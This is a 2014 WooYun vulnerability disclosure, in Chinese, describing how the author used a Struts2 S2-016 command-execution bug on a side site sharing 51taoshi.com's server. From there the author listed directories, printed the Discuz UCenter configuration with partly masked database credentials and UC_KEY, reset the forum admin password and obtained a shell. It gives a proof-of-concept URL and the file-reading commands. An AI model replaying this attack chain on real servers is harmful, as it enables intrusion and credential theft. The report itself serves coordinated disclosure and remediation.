当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-049246

漏洞标题：[淘师湾渗透测试#1]某站远程命令执行可导致shell

相关厂商：51taoshi.com

漏洞作者： 开心超人

提交时间：2014-01-26 18:10

修复时间：2014-03-12 18:11

公开时间：2014-03-12 18:11

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-26： 细节已通知厂商并且等待厂商处理中
2014-01-27： 厂商已经确认，细节仅向厂商公开
2014-02-06： 细节向核心白帽子及相关领域专家公开
2014-02-16： 细节向普通白帽子公开
2014-02-26： 细节向实习白帽子公开
2014-03-12： 细节向公众公开

简要描述：

RT

详细说明：

TOP1：信息搜集
淘师湾主站及其大多数分站采用Apache struts2框架搭建，由于淘师湾在wooyun已收到类似报告 WooYun: 淘师湾某站struts2命令执行漏洞 ，可见在主站方面struts2漏洞无法利用。

C:\Users\Administrator>nslookup 51taoshi.com
服务器:  localhost
Address:  192.168.1.1
非权威应答:
名称:    51taoshi.com
Address:  219.139.243.44


域名解析到219.139.243.44，在此服务器上搭建的站点有I
1. www.thyuwen.com
2. taoshi.org.cn
3. 51taoshi.net.cn
4. www.51taoshi.com
5. www.51taoshi.cn
6. bbs.51taoshi.com
7. zuoye.51taoshi.com
8. 51taoshi.com
9. tyuan.51taoshi.com
10. ziyuan.51taoshi.com
11. yanxiu.51taoshi.com
12. tv.51taoshi.com
13. hbjjxt.e21.cn
hbjjxt.e21.cn这个旁站引起了我的注意，同样采用struts2框架搭建
TOP2:51taoshi.com旁站struts2 s2-016漏洞利用
一般旁站安全性都不高（相对于一个服务器上的主要网站而言），测试结果表明，淘师湾管理或运维人员在修补struts2漏洞时并没有修补完全，这个旁站存在很严重的远程命令执行漏洞。
POC：hbjjxt.e21.cn/loadLogin.action?redirect:http://www.yahoo.com/
重定向至yahoo!

Target: http://hbjjxt.e21.cn/loadLogin.action
Whoami: weblogic
WebPath: /data/webapps/hbjjxt


在后来的检测中很遗憾淘师湾的struts2并没有开启上传功能，也许因为之前的报告原因。
不论是渗透测试还是入侵，思路最重要，既然上传getshell被堵死了，那么便可以尝试别的方法。
注意到bbs.51taoshi.com采用Discuz论坛搭建。接着我执行了如下Linux shell commond

ls /data
====================================================================================================================================
app
hbjjxt
lost+found
Oracle
session
soft
webapp
webapps
weblogs


在接下来的摸索中顺利找到discuz论坛目录！

ls /data/webapp/bbs
====================================================================================================================================
��������20121028��.txt
301test.php
51taoshi_csmfpd
51taoshi.php
admin.php
aoyun.html
api
api.php
archiver
bbx
bbx.php
comiis_ad
comiis_config.php
comiis_contact
comiis_csmfpd
comiis_dl
comiis_jymfpd
comiis_mfcspd
comiis_x19lou
config
connect.php
contact.php
cp.php
crossdomain.xml
data
db
favicon.ico
forum.php
group.php
home.php
image
index.php
member.php
misc.php
mobile.png
plugin.php
popuppp_img
portal.php
repair_uc.php
robots.txt
search.php
sitemap
sitemap.php
source
static
template
test.php
uc_client
uc_server
userapp.php
weibo
xueke
xwb
xwb.php
cat /data/webapp/bbs/config/config_ucenter.php
====================================================================================================================================
<?php
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', '211.85.*.*');
define('UC_DBUSER', 'tao*');
define('UC_DBPW', 'zs**');
define('UC_DBNAME', 'bbs');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', '`bbs`.pre_ucenter_');
define('UC_DBCONNECT', 0);
define('UC_CHARSET', 'utf-8');
define('UC_KEY', 'n0R7*****************************');
define('UC_API', 'http://bbs.51taoshi.com/uc_server');
define('UC_APPID', '*');
define('UC_IP', '');
define('UC_PPP', 20);

直接获取到discuz论坛的UC_KEY
TOP3：UC-KEY利用
在本地搭建一个完整的Discuz论坛

QQ截图20140118155251.png

QQ截图20140118155251.png

填入所获得的信息，具体利用细节参考 WooYun: 途牛网某服务配置失误 导致论坛敏感文件泄露(致使百万用户信息告急)
通过远程重置admin的密码即可进入后台

QQ截图20140118155251.png


TOP4：getshell
通过一枚Discuz后台拿shell漏洞搞到SHELL，在此不披露详细技术细节。

QQ截图20140118155251.png


数据库访问权限

QQ截图20140118155251.png


漏洞证明：

QQ截图20140118155251.png


QQ截图20140118155251.png


QQ截图20140118155251.png


具体细节见上

修复方案：

1.网络边界要做好防护，攻击者在主站尝试突破无果时，试下旁站也可能会有意想不到的收获。
2.参考http://sebug.net/vuldb/ssvid-60906
http://struts.apache.org/release/2.3.x/docs/s2-016.html

版权声明：转载请注明来源 开心超人@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-01-27 12:01

厂商回复：

工作疏忽，感谢提交

最新状态：

暂无